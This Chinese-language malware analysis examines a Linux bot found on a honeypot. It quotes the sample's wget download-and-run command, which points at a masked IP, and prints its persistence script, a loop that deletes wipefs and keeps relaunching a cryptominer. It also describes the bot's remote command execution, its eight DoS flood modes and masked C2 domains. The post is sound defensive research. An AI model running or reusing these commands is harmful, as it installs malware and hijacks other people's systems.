0x00 背景

蜜罐上捕获到wget下载的样本,顺着网址一访问发现是用HttpFileServer v2.3k 299国产软件搭建的http服务,隐约感觉这种软件会有溢出漏洞,但也没时间去看页面就访问不了了。可以证明其下载的恶意软件出自国人之手,VT上也还没有相关的检测:

该样本也是个被控端,接收主控端指令后可以system执行,该样本执行了如下命令:

sh -c cd /bin;rm -rf uninstall* ;wget http://xx.xx.xx.xx:6892/uninstall;chmod 777 uninstall;sh uninstall

下载运行的脚本文件主要是循环检测运行netwrite文件:

while true; 
do
	pkill -9 wipefs;
	rm -rf /bin/wipefs;
  count=`ps -ef |grep netwrite |grep -v "grep" |wc -l`
  if [ 0 == $count ]; then
     cd /bin;./netwrite; 
  fi
  sleep 60 
done

该文件也就是常见的挖挖比特币:

样本逆向看了一下还是处于开发阶段,主要有接收指令执行命令和DOS功能。

0x01 连接主控端

样本先调用if_nameindex查看是否有网,然后调用空函数CreateAutoRun,所以应该还是开发阶段的程序。接下来又是很奇怪地使用两个函数来连接主控端并处理接收指令,对比了一下功能都是一样的,只是主控端的域名和端口不同,另外一个函数会是sleep 8分钟再去开线程连接主控端,域名端口如下:

o.xxxx.cn:21
www.xxxx.club:3065

从这域名注册信息也可以看出是很符合国内黑阔大佬的风格:

一旦连接成功后就会自报主机的release版本和其他信息:

0x02 接收指令

CmdShell

前4个字节比较为5后,后面的字符串便会传递给system函数执行。

DealwithDDoS

其中主要有8个类型的DOS攻击,下面分析一下指令的结构和攻击的效果。

SYN_Flood

伪造的源端口每次会增加0x100。

UDP_Flood

向目的udp端口发送1024字节的X字符。

ICMP_Flood

和UDP_Flood类似,发送的udp数据包data大小为2048字节。

DNS_Flood

会生成随机的Name和Type对目的DNS服务器进行查询。

GET_Flood

需要手动添加\x00截断ip和url;在url的后面会添加5个随机生成的字节。

POST_Flood

和GET_Flood类似,只是改成了POST。

FAST_Flood

GET_Flood without headers,只有Host Header。

TCP_Flood

完全没有header的GET_Flood。

StopFlag

在上述的Flood攻击中都会do-while地发送数据包,StopFlag就是用于停止攻击的指令:

0x03 总结

样本主要是开启新线程去执行指令,代码量有些重复分析起来也比较简单。新年伊始,也希望能够赶上自动化分析的脚步,真正做到MalwareMustDie。